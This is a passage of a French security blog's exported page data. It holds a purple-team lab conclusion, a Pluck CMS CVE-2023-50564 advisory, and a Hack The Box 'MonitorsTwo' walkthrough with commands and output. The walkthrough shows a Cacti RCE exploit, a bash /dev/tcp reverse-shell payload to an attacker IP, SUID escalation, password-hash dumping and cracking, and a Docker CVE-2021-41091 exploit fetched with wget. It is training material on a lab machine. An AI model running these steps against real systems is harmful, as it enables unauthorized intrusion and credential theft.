anormaux.\n- Pie Chart (Diagramme circulaire) # Un Pie Chart permet de visualiser la répartition proportionnelle des données. Dans notre cas, il met en évidence les types d’alertes les plus fréquents et la distribution des commandes suspectes sur le honeypot.\nTop 10 des alertes globales (source : wazuh-metrics-)*\nPrincipales alertes du honeypot (source : honey-pots-log)\nConfiguration de la visualisation avec la vue sauvegardée\n- Metrics (Indicateurs clés) # Une visualisation de type metrics offre un aperçu synthétique et en temps réel d\u0026rsquo;une ou plusieurs valeurs clés, telles que le nombre total d’alertes, La criticité moyenne des incidents ou un taux d’échec global.\nCe type de représentation est particulièrement utile pour surveiller l\u0026rsquo;état général du système, car il permet de visualiser rapidement des indicateurs critiques\nIndication du nombre global d\u0026rsquo;alertes (source : wazuh-metrics-)*\n6. Dashboard # Le dashboard final intègre l’ensemble des visualisations créées :\nLe Top 10 des alertes globales : Détecte les tendances à l’échelle de l’infrastructure.\nLes principales alertes du honeypot : Identifie les attaques spécifiques à Cowrie.\nUn aperçu général des alertes : Offre une synthèse chiffrée des événements.\nCette interface synthétique offre une vue d’ensemble qui facilite la surveillance continue et permet d’identifier instantanément les zones nécessitant une attention particulière, à travers une détection rapide des pics d’activité suspecte, une corrélation visuelle entre les attaques simulé et les logs du honeypot, et enfin une base décisionnelle pour ajuster les règles Wazuh et nos stratégies de défense en conséquence.\nConclusion: # L\u0026rsquo;objectif principal était de créer un environnement de test complet permettant de simuler des attaques, de collecter des logs et de les analyser en temps réel pour mieux comprendre le comportement des attaquants.\nLa configuration de Cowrie a permis de capturer des interactions variées sur le honeypot, telles que l\u0026rsquo;ouverture et la fermeture de sessions, l\u0026rsquo;exécution de commandes et les tentatives d\u0026rsquo;attaques échouées. Parallèlement, Caldera a été utilisé pour orchestrer divers profils d\u0026rsquo;attaque (Discovery, Lateral Movement, etc.), offrant ainsi une dimension offensive à l\u0026rsquo;environnement de test. L\u0026rsquo;intégration des logs via Wazuh a fourni une visibilité centralisée sur l\u0026rsquo;activité des agents, permettant d\u0026rsquo;extraire des informations critiques et de générer des alertes basées sur des règles personnalisées.\nLes résultats obtenus illustrent l\u0026rsquo;efficacité d\u0026rsquo;une approche « défense en profondeur » : en combinant la détection proactive avec l\u0026rsquo;analyse centralisée, il est possible de détecter et d\u0026rsquo;analyser rapidement les comportements suspects, tout en obtenant des données exploitables pour renforcer la sécurité globale. Cette approche offre ainsi un cadre solide pour la surveillance continue et l\u0026rsquo;amélioration des défenses face à des menaces de plus en plus sophistiquées.\nRéférences: # https://docs.ansible.com https://github.com/cowrie/cowrie https://cowrie.readthedocs.io\nhttps://github.com/mitre/caldera\nhttps://caldera.readthedocs.io https://documentation.wazuh.com https://attack.mitre.org\nhttps://github.com/redcanaryco/atomic-red-team https://github.com/wazuh/wazuh-ruleset\nhttps://docs.ansible.com/ansible/latest/playbook_guide\n","date":"20 mars 2025","externalUrl":null,"permalink":"/posts/cyberlab-ii/","section":"Posts","summary":"L\u0026rsquo;idée est de créer un écosystème cohérent dans lequel les interactions entre le honeypot, le simulateur d\u0026rsquo;attaques (Caldera) et le SIEM (Wazuh) permettent de valider la résilience globale de l\u0026rsquo;infrastructure\u0026hellip;","title":"Cyberlab: Purple Team (Mitre Caldera, Wazuh)","type":"posts"},{"content":"","date":"20 mars 2025","externalUrl":null,"permalink":"/tags/honeypot/","section":"Tags","summary":"","title":"Honeypot","type":"tags"},{"content":"","date":"20 mars 2025","externalUrl":null,"permalink":"/tags/mitre-attack/","section":"Tags","summary":"","title":"Mitre-Attack","type":"tags"},{"content":"","date":"20 mars 2025","externalUrl":null,"permalink":"/categories/purple-team/","section":"Categories","summary":"","title":"Purple Team","type":"categories"},{"content":"","date":"20 mars 2025","externalUrl":null,"permalink":"/categories/tutoriels/","section":"Categories","summary":"","title":"Tutoriels","type":"categories"},{"content":"","date":"20 mars 2025","externalUrl":null,"permalink":"/tags/wazuh/","section":"Tags","summary":"","title":"Wazuh","type":"tags"},{"content":"","date":"4 août 2024","externalUrl":null,"permalink":"/tags/arbitrary-file-upload/","section":"Tags","summary":"","title":"Arbitrary File Upload","type":"tags"},{"content":" Introduction # La vulnérabilité CVE-2023-50564 affecte Pluck CMS v4.7.18, un CMS open-source réputé pour sa légèreté, souvent utilisé pour des sites web personnels ou de petites entreprises. Cette faille critique permet à un attaquant authentifié de téléverser des fichiers ZIP malveillants contenant des scripts PHP, conduisant à une exécution de code arbitraire et potentiellement au contrôle total du serveur.\nDescription Technique # Informations sur la vulnérabilité # Composant vulnérable : /inc/modules_install.php Type de vulnérabilité : Téléversement de fichier arbitraire (CWE-434) Score CVSS : 8.8 (High) Vecteur : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Impact : Confidentialité : Élevé Intégrité : Élevé Disponibilité : Élevé Cette vulnérabilité provient d’une absence de validation stricte des fichiers téléversés via le gestionnaire d’installation de modules. Les attaquants peuvent exploiter cette faiblesse pour injecter des fichiers malveillants tels que des scripts PHP, permettant ainsi l’exécution de commandes arbitraires sur le serveur.\nMécanisme d\u0026rsquo;Exploitation # L’exploitation de cette faille suit généralement les étapes suivantes :\nAuthentification : L\u0026rsquo;attaquant doit disposer d\u0026rsquo;un accès authentifié au CMS avec des privilèges lui permettant d’accéder au gestionnaire de modules. Création du payload : Un fichier ZIP malveillant contenant un script PHP (par exemple, shell.php) est préparé avec les fichiers nécessaires à une installation valide. Téléversement : Le fichier ZIP est téléversé via le formulaire d’installation de modules disponible à /inc/modules_install.php. Exécution du script : Une fois le ZIP traité, le script malveillant devient accessible et exécutable sur le serveur, ouvrant la voie à un contrôle total. Un exemple concret d’exploitation (Proof of Concept - PoC) est disponible ici.\nDe plus, une machine virtuelle sur la plateforme Hack The Box implémente cette vulnérabilité et peut être utilisée à des fins de test pratique : HTB - Greenhorn\nRisques et Impact # Les répercussions de cette vulnérabilité peuvent être graves, notamment :\nExécution de code arbitraire : L’attaquant peut exécuter des commandes système à distance. Exfiltration de données : Les informations sensibles stockées sur le serveur peuvent être compromises. Déni de service : Le serveur peut être utilisé à des fins malveillantes, notamment pour héberger des scripts de phishing ou distribuer des logiciels malveillants. Mesures de Remédiation # Mise à jour recommandée # Si une version corrigée est disponible, mettez à jour immédiatement votre installation de Pluck CMS vers une version sécurisée. Contournements temporaires # Désactivation des modules : Restreignez ou désactivez temporairement l\u0026rsquo;installation de modules si elle n\u0026rsquo;est pas indispensable. Validation stricte des fichiers : Implémentez un contrôle rigoureux des extensions de fichiers et du contenu des archives téléversées. Surveillance proactive # Analysez régulièrement les journaux d\u0026rsquo;accès pour détecter des activités suspectes. Déployez des outils de détection d\u0026rsquo;intrusion (IDS) afin d\u0026rsquo;identifier des comportements malveillants. Renforcement de la sécurité # Limitez l\u0026rsquo;accès au gestionnaire de modules aux utilisateurs de confiance uniquement. Configurez un pare-feu applicatif (WAF) pour filtrer les requêtes suspectes. Ressources Supplémentaires # Base de données CVE : NVD - CVE-2023-50564 CloudDefense.AI : Détails sur CVE-2023-50564 Dépôt GitHub PoC : Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC Hack The Box : HTB - Machine n°617 Conclusion # La vulnérabilité CVE-2023-50564 illustre l\u0026rsquo;importance de maintenir un cycle de mise à jour régulier et d’adopter des pratiques de durcissement pour les systèmes exposés au web. Les utilisateurs de Pluck CMS sont fortement encouragés à sécuriser leurs installations pour éviter une exploitation potentiellement catastrophique.\nVotre sécurité est entre vos mains : prenez les mesures nécessaires dès aujourd\u0026rsquo;hui.\n","date":"4 août 2024","externalUrl":null,"permalink":"/posts/cve-2023-50564/","section":"Posts","summary":"Découvrez la vulnérabilité CVE-2023-50564 qui affecte Pluck CMS v4.7.18, permettant une exécution de code arbitraire via un téléchargement de fichier malveillant.","title":"CVE-2023-50564 - Pluck CMS v4.7.18","type":"posts"},{"content":"","date":"4 août 2024","externalUrl":null,"permalink":"/tags/cybersecurity/","section":"Tags","summary":"","title":"Cybersecurity","type":"tags"},{"content":"","date":"4 août 2024","externalUrl":null,"permalink":"/categories/markdown/","section":"Categories","summary":"","title":"Markdown","type":"categories"},{"content":"","date":"4 août 2024","externalUrl":null,"permalink":"/tags/pluck-cms/","section":"Tags","summary":"","title":"Pluck CMS","type":"tags"},{"content":"","date":"16 décembre 2023","externalUrl":null,"permalink":"/categories/blog/","section":"Categories","summary":"","title":"Blog","type":"categories"},{"content":"","date":"16 décembre 2023","externalUrl":null,"permalink":"/series/htb-writeups/","section":"Series","summary":"","title":"HTB Writeups","type":"series"},{"content":" I- Vue d\u0026rsquo;ensemble de la machine: # MonitorsTwo est une machine Linux de difficulté facile. Elle met en avant quelques vulnérabilités et erreurs de configurations qui seront exploitées afin de prendre le contrôle du système suivant notre kill-chain ci-après:\nAccès Initial:\nUne première énumeration rapide nous permet de découvrir une application web vulnérable à une exécution de code à distance (RCE) avec pré-authentification via un en-tête X-Forwarded-For malveillant. L\u0026rsquo;exploitation de cette vulnérabilité débouche sur un shell au sein d\u0026rsquo;un conteneur Docker.\nÉlevation de privilèges (1): Un binaire capsh mal configuré avec le bit SUID activé permet un accès root à l\u0026rsquo;intérieur du conteneur.\nMouvement latéral: La découverte d\u0026rsquo;identifiants MySQL permet le dumping d\u0026rsquo;un hash, qui, une fois craqué, fournit un accès SSH à la machine.\nÉlevation de privilèges (2): Une énumération plus poussée révèle une version de Docker vulnérable qui permet à un utilisateur de faible privilège d\u0026rsquo;accéder aux systèmes de fichiers des autres conteneurs montés. En tirant parti de l\u0026rsquo;accès root dans le conteneur, un binaire bash avec le bit SUID activé sera copié, afin d\u0026rsquo;obtenir une élévation de privilèges sur l\u0026rsquo;hôte.\nII- Collecte d\u0026rsquo;informations: # Scan de ports Nmap # ┌──(raizen㉿Raizen)-[~/HTB/Monitorstwo] └─$sudo nmap -sS -A -Pn --min-rate 10000 -p- 10.10.11.211 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Login to Cacti |_http-server-header: nginx/1.18.0 (Ubuntu) Informations utiles:\nServeur web nginx 1.18.0 en écoute, pouvant être un portail de connexion. Serveur SSH en mode écoute (nous auront besoin d\u0026rsquo;identifiants valides pour y accéder). III- Accès Initial # Page d\u0026rsquo;accueil :\nNous avons la version de l\u0026rsquo;application Cacti 1.2.22 il s\u0026rsquo;agira donc de chercher l\u0026rsquo;existence de vulnérabilités connues sur cette version:\nIl en ressort plusieurs références pour la même vulnérabilité de type RCE: CVE-2022-46169\nVulnérabilité: L\u0026rsquo;exploit consiste à accéder à l\u0026rsquo;endpoint vulnérable /remote_agent.php, dont l\u0026rsquo;authentification peut être contournée en raison d\u0026rsquo;une implémentation faible de la fonction get_client_addr qui utilise un en-tête contrôlé par l\u0026rsquo;utilisateur, nommément X-Forwarded-For, pour authentifier le client. Une fois que cette vérification initiale est contournée, nous déclencherons ensuite la fonction poll_for_data via l\u0026rsquo;action polldata, qui est vulnérable à l\u0026rsquo;injection de commande via le paramètre $poller_id qui est passé à proc_open, qui est une fonction PHP qui exécute des commandes système.\nEssayons donc ce PoC:\n# Nous allons configurer un listenner notament nc: ┌──(raizen㉿Raizen)-[~/HTB/Monitorstwo] └─$ nc -lvnp 1337 listening on [any] 1337 ... # clonage du repo github: ┌──(raizen㉿Raizen)-[~/HTB/Monitorstwo] └─$ sudo git clone https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22 Cloning into \u0026#39;CVE-2022-46169-CACTI-1.2.22\u0026#39;... remote: Enumerating objects: 18, done. remote: Counting objects: 100% (18/18), done. remote: Compressing objects: 100% (16/16), done. remote: Total 18 (delta 4), reused 4 (delta 1), pack-reused 0 Receiving objects: 100% (18/18), 5.07 KiB | 2.53 MiB/s, done. Resolving deltas: 100% (4/4), done. ┌──(raizen㉿Raizen)-[~/HTB/Monitorstwo/CVE-2022-46169-CACTI-1.2.22] └─$ cd CVE-2022-46169-CACTI-1.2.22/ ┌──(raizen㉿Raizen)-[~/HTB/Monitorstwo/CVE-2022-46169-CACTI-1.2.22] └─$ python3 CVE-2022-46169.py -u http://10.10.11.211/ --LHOST=10.10.xx.xx --LPORT=1337 Checking... The target is vulnerable. Exploiting... Bruteforcing the host_id and local_data_ids Bruteforce Success!! # Obtention du reverse shell: ┌──(raizen㉿Raizen)-[~] └─$ nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.211] 39056 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@50bca5e748b0:/var/www/html$ Simple et efficace !\nIV- Élevation de privilèges (1) # Après avoir examiné divers répertoires et fichiers, rien de particulièrement intéressant n\u0026rsquo;est apparu. La seule chose à noter est que nous sommes actuellement dans un conteneur Docker, comme le suggère la présence du fichier /.dockerenv, ce qui est également confirmé par notre nom d\u0026rsquo;hôte, à savoir www-data@50bca5e748b0:\nwww-data@50bca5e748b0:/var/www/html$ ls -la / total 88 drwxr-xr-x 1 root root 4096 Mar 21 2023 . drwxr-xr-x 1 root root 4096 Mar 21 2023 .. -rwxr-xr-x 1 root root 0 Mar 21 2023 .dockerenv drwxr-xr-x 1 root root 4096 Mar 22 2023 bin Nous pouvons vérifier s\u0026rsquo;il y a quelque chose d\u0026rsquo;intéressant qui peut être exécuté avec des privilèges élevés notament tous les fichiers sur le système de fichiers qui ont l\u0026rsquo;attribut setuid (suid) activé.\nwww-data@50bca5e748b0:/var/www/html$ find / -type f -perm -u=s 2\u0026gt;/dev/null find / -type f -perm -u=s 2\u0026gt;/dev/null /usr/bin/gpasswd /usr/bin/passwd /usr/bin/chsh /usr/bin/chfn /usr/bin/newgrp /sbin/capsh /bin/mount /bin/umount /bin/su Le binaire capsh semble convenir à ce que je cherche. En effectuant une recherche rapide sur GTFOBins (un site incontournable qui répertorie une liste de binaires Unix pouvant être utilisés pour contourner les restrictions de sécurité locale dans des systèmes mal configurés) nous obtenons ceci :\nSuivons donc les directives de GTFOBins :\nwww-data@50bca5e748b0:/var/www$ /sbin/capsh --gid=0 --uid=0 -- /sbin/capsh --gid=0 --uid=0 -- id uid=0(root) gid=0(root) groups=0(root),33(www-data) Et ainsi j\u0026rsquo;obtiens les droits root. Cependant nous n\u0026rsquo;avons pas encore trouvé notre flag puisse que nous sommes toujours dans le conteneur docker.\nV- Mouvement latérral # Lorsque nous listons les fichiers dans le répertoire racine (/), nous voyons un script appelé entrypoint.sh:\nls -l total 76 drwxr-xr-x 1 root root 4096 Mar 22 2023 bin drwxr-xr-x 2 root root 4096 Mar 22 2023 boot drwxr-xr-x 5 root root 340 Jan 25 14:34 dev -rw-r--r-- 1 root root 648 Jan 5 2023 entrypoint.sh \u0026lt;SNIP\u0026gt; Vérifions donc son contenu:\nwww-data@50bca5e748b0:/$ cat entrypoint.sh #!/bin/bash set -ex wait-for-it db:3306 -t 300 -- echo \u0026#34;database is connected\u0026#34; if [[ ! $(mysql --host=db --user=root --password=root cacti -e \u0026#34;show tables\u0026#34;) =~ \u0026#34;automation_devices\u0026#34; ]]; then mysql --host=db --user=root --password=root cacti \u0026lt; /var/www/html/cacti.sql mysql --host=db --user=root --password=root cacti -e \u0026#34;UPDATE user_auth SET must_change_password=\u0026#39;\u0026#39; WHERE username = \u0026#39;admin\u0026#39;\u0026#34; mysql --host=db --user=root --password=root cacti -e \u0026#34;SET GLOBAL time_zone = \u0026#39;UTC\u0026#39;\u0026#34; fi chown www-data:www-data -R /var/www/html # first arg is `-f` or `--some-option` if [ \u0026#34;${1#-}\u0026#34; != \u0026#34;$1\u0026#34; ]; then set -- apache2-foreground \u0026#34;$@\u0026#34; fi exec \u0026#34;$@\u0026#34; Nous voyons plusieurs commandes mysql exécutées en tant que root. Le script révèle également que le nom d\u0026rsquo;utilisateur admin existe et que le champ lié au mot de passe must_change_password est présent dans la table user_auth.\n$ mysql --host=db --user=root --password=root cacti -e \u0026#34;SELECT * FROM user_auth\u0026#34; id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms 1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb 1 on on on on on 2 11 1 1 on -1 -1 -1 0 0 663348655 3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1-1 0 0 0 4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 11 1 1 on -1 -1 on 0 0 2135691668 Nous obtenons ainsi les identifiants des utilisateurs admin et marcus :\nadmin:$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C Essayons de cracker ces identifiants sur notre machine d\u0026rsquo;attaque en utilisant john:\n┌──(raizen㉿Raizen)-[~/HTB/Monitorstwo] └─$ cat hashes.txt $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C ┌──(raizen㉿Raizen)-[~] └─$ john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 16 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status funkymonkey (?) Ainsi nous avons les identifiants de marcus:funkymonkey.Il ne reste plus qu\u0026rsquo;àeaayer de se connecter via ssh à notre cible et obtenir notre premier flag:\n┌──(marcus㉿monitorstwo)-[~] └─$ssh marcus@10.10.11.211 ┌──(marcus㉿monitorstwo)-[~] └─$ cat user.txt \u0026lt;********************************\u0026gt; VI- Élevation de privilèges (2) # Après fait le tour des répertoires et fichiers, nous trouvons finallement quelque chose d\u0026rsquo;intéressant :\n┌──(marcus㉿monitorstwo)-[/var] └─$ cat mail/marcus From: administrator@monitorstwo.htb To: all@monitorstwo.htb Subject: Security Bulletin - Three Vulnerabilities to be Aware Of Dear all, We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible. CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability. CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability. CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed. We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department. Best regards, Administrator CISO Monitor Two Security Team En gros ce mail écrit par l\u0026rsquo;administrateur de monitorstwo.htb est destinée à tous les utilisateurs du système et aborde principalement trois vulnérabilités récemment découvertes qui nécessitent une attention immédiate. Nous alllons donc investiguer ces trois vulns et voir s\u0026rsquo;il y en a un que nous pourrons exploiter pour avancer dans notre tâche.\nLa première, CVE-2021-33033 concerne les versions du noyau antérieures à 5.11.14, voyons donc ce que nous avons actuellement : marcus@monitorstwo:/var$ uname -a Linux monitorstwo 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux Bien que cela semble être une version obsolète, la série de versions 5.4 est en fait la dernière selon la documentation officielle:\nLa seconde CVE-2020-25706 fait référence à une vulnérabilité XSS pour Cacti 1.2.13 or la version de l\u0026rsquo;application cible est Cacti 1.2.22. -Il ne nous reste que la dernière vuln : CVE-2021-41091, qui concerne le Docker engine, nommé Moby version 20.10.9. Ce qui nous arrangerait compte tenu de l\u0026rsquo;environnement où nous somme actuellement.\nUne vérification de la version de docker nous permet de voir qu\u0026rsquo;il s\u0026rsquo;agit de la version 20.10.5 qui est spoiller alert vulnérable:\n┌──(marcus㉿monitorstwo)-[/var] └─$ docker --version Docker version 20.10.5+dfsg1, build 55c4c88 Nous devrions donc pouvoir exploiter ce CVE. Après quelques recherches, nous tombons sur ce POC.\nVulnérabilité: Plusieurs répertoires dans /var/lib/docker, qui sont montés et utilisés par les conteneurs Docker, sont accessibles aux utilisateurs à faible privilèges. Cela implique que si un attaquant obtient l\u0026rsquo;accès root à l\u0026rsquo;intérieur d\u0026rsquo;un conteneur, il pourrait créer des fichiers SUID arbitraires avec lesquels un utilisateur non privilégié à l\u0026rsquo;extérieur du conteneur pourrait interagir et utiliser pour une élevation de privilèges.\nCe que nous devons donc faire :\n1- Répéter notre processus initial pour obtenir un accès RCE et une élévation de privilèges via le binaire capsh en utilisant CVE-2022-46169.\n2- Attribuer les permissions appropriées au binaire bash avec la commande chmod u+s /bin/bash.\n3- Cloner le PoC du CVE-2021-41091 sur notre machine d\u0026rsquo;attaque, transférer le script bash (exp.sh) sur la cible en utilisant le compte marcus via SSH, et l\u0026rsquo;exécuter en utilisant l\u0026rsquo;utilisateur marcus.\nRépétons notre accès initial puis obtenons les droits root à l\u0026rsquo;intérieur du conteneur :\n# obtention des droits root à l\u0026#39;intérieur du conteneur whoami root id uid=0(root) gid=0(root) groups=0(root),33(www-data) # attribution des permissions SUID au binaire bash chmod u+s /bin/bash Depuis notre machine d\u0026rsquo;attaque :\n```bash # clonage du repo vers ma machine $ sudo git clone https://github.com/UncleJ4ck/CVE-2021-41091 [sudo] password for kali: Cloning into 'CVE-2021-41091'... remote: Enumerating objects: 25, done. remote: Counting objects: 100% (25/25), done. remote: Compressing objects: 100% (23/23), done. remote: Total 25 (delta 6), reused 3 (delta 0), pack-reused 0 Receiving objects: 100% (25/25), 6.95 KiB | 6.96 MiB/s, done. Resolving deltas: 100% (6/6), done. # move within the directory $ cd CVE-2021-41091/ # checking permissions $ ls -l total 8 -rwxr-xr-x 1 root root 2446 Jan 25 18:18 exp.sh -rw-r--r-- 1 root root 2616 Jan 25 18:18 README.md # start a Python HTTP server $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.11.211 - - [25/Jan/2024 18:19:47] \u0026quot;GET /exp.sh HTTP/1.1\u0026quot; 200 - ``` Depuis le terminal de marcus:\n# Téléchargement du script ┌──(marcus㉿monitorstwo)-[~] └─$ wget http://10.10.xx.xx:8000/exp.sh --2024-01-25 18:19:47-- http://10.10.xx.xx:8000/exp.sh Connecting to 10.10.14.33:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 2446 (2.4K) [text/x-sh] Saving to: ‘exp.sh’ exp.sh 100%[========================\u0026gt;] 2.39K --.-KB/s in 0s 2024-01-25 18:19:47 (356 MB/s) - ‘exp.sh’ saved [2446/2446] # Attribution de la permission d\u0026#39;exécution ┌──(marcus㉿monitorstwo)-[~] └─$ chmod +x exp.sh # Vérification des permissions ┌──(marcus㉿monitorstwo)-[~] └─$ ls -l exp.sh total 8 -rwxrwxr-x 1 marcus marcus 2446 Jan 25 18:18 exp.sh # Exécution du script ┌──(marcus㉿monitorstwo)-[/var] └─$ ./exp.sh [!] Vulnerable to CVE-2021-41091 [!] Now connect to your Docker container that is accessible and obtain root access ! [\u0026gt;] After gaining root access execute this command (chmod u+s /bin/bash) Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes [!] Available Overlay2 Filesystems: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [!] Iterating over the available Overlay2 filesystems ! [?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged [x] Could not get root access in \u0026#39;/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged\u0026#39; [?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [!] Rooted ! [\u0026gt;] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [?] If it didnt spawn a shell go to this path and execute \u0026#39;./bin/bash -p\u0026#39; [!] Spawning Shell bash-5.1# exit Direction vers le \u0026ldquo;Current Vulnerable Path\u0026rdquo; mentionné ci-dessus ┌──(marcus㉿monitorstwo)-[~] └─$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged # Éxécution de la commande \u0026#39;./bin/bash -p\u0026#39; pour lancer l\u0026#39;interpréteur en ``privileged mode`` $ ./bin/bash -p bash-5.1# id uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus) bash-5.1# cat /root/root.txt \u0026lt;********************************\u0026gt; Pwned 🗹 # Ainsi s\u0026rsquo;achève notre mission ;) VII- Extra - IppSec’s Exploit # Cette section fera office d\u0026rsquo;ouverture et sera basé sur la vidéo de IppSec\u0026rsquo;s video walkthrough où l\u0026rsquo;exploitation est réalisé de façon manuelle. On apprend toujours de nouvelles méthodologies et astuces dans ses vidéos donc ça vaut le détour.\nAccès Initial # Nous réaliserons l\u0026rsquo;exploitation du CVE-2022-46169 en se basant sur le post de Rapid7) de façon manuelle:\nSi les paramètres LOCAL_DATA_ID et/ou HOST_ID ne sont pas définis, le module tentera de forcer la valeur (ou les valeurs) manquante(s). Si une combinaison valide est trouvée, le module utilisera ces valeurs pour tenter l\u0026rsquo;exploitation. Si LOCAL_DATA_ID et/ou HOST_ID sont tous les deux définis, le module tentera immédiatement l\u0026rsquo;exploitation. Pendant l\u0026rsquo;exploitation, le module envoie une requête GET à /remote_agent.php avec le paramètre d\u0026rsquo;action défini sur polldata et l\u0026rsquo;en-tête X-Forwarded-For défini sur la valeur fournie pour X_FORWARDED_FOR_IP (par défaut 127.0.0.1). WNous pouvons commencer par intercepter une requête via Burp, par exemple, une requête de connexion POST en utilisant des identifiants aléatoires, changer la méthode HTTP en requête GET et l\u0026rsquo;URL en /remote_agent.php?action=polldata\u0026amp;local_data_ids[]={local_data_ids}\u0026amp;host_id={host_id}\u0026amp;poller_id=1{payload}``.\nLe chemin d\u0026rsquo;URL peut être trouvé ici:\nNous recevons l\u0026rsquo;erreur FATAL: You are not authorized to use this service. Commençons par ajouter l\u0026rsquo;en-tête X-Forwarded-For avec la valeur localhost et voyons ce qui se passe.\nCette fois, nous n\u0026rsquo;avons pas reçu d\u0026rsquo;erreur FATAL, mais une erreur de Validation concernant le paramètre host_id. Supprimons les variables, définissons tous les identifiants sur 1, et essayons un payload simple, telle que sleep 5.\nLe payload sleep+5 est la version URL-encodée de la charge utile sleep 5.\nNous n\u0026rsquo;avons reçu aucune erreur en retour, mais la charge utile n\u0026rsquo;a pas fonctionné non plus. Cela est logique car, selon la description de la vulnérabilité :\nSi une combinaison valide est trouvée, le module utilisera ces informations pour tenter l\u0026rsquo;exploitation\nAinsi, nous devons effectuer une attaque par brute force sur les paramètres local_data_id et host_id jusqu\u0026rsquo;à ce que nous trouvions une combinaison valide de valeurs qui permettra à notre charge utile de fonctionner. Nous pouvons l\u0026rsquo;automatiser en utilisant l\u0026rsquo;outil Intruder :\nLes deux charges utiles 1 et 2 sont définies comme une liste séquentielle de nombres de 1 à 10\nIntruder montre qu\u0026rsquo;une seule combinaison de charges utiles a entraîné un délai de 5 secondes (causé par notre charge utile sleep+5) : local_data_ids[]=6 et host_id=1 ! Vérifions cela manuellement : Ce qui se passe ici, c\u0026rsquo;est que certaines valeurs du paramètre rdd_name de la réponse HTTP sont exploitables : uptime en est une (nous pouvons trouver la liste complète des paramètres exploitables ici. Donc, nous effectuons une attaque par force brute sur les paramètres local_data_id et host_id jusqu\u0026rsquo;à ce qu\u0026rsquo;une combinaison d\u0026rsquo;entre eux renvoie l\u0026rsquo;un des paramètres exploitables dans la réponse :\nMaintenant que nous avons trouvé la bonne combinaison de valeurs de paramètres, nous pouvons envoyer du code (ici un reverse shell) en tant que charge utile: bash -c 'bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.xx.xx/1337 0\u0026gt;\u0026amp;1'; L\u0026rsquo;encoder en URL (en appuyant sur CTRL+U) puis mettre en place sur notre machine d\u0026rsquo;attaque un Listener (netcat en mode écoute) et envoyer la requête :\n# listener nc ┌──(raizen㉿Raizen)-[~] └─$ nc -lnvp 1337 listening on [any] 1337 ... connect to [10.10.xx.xx] from (UNKNOWN) [10.10.xx.xx] 36722 # Obtention du shell inversé ┌──(raizen㉿Raizen)-[~] └─$ nc -lnvp 1337 listening on [any] 1337 ... connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.211] 36722 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@50bca5e748b0:/var/www/html$ Mouvement latéral # Idéalement, nous devrions 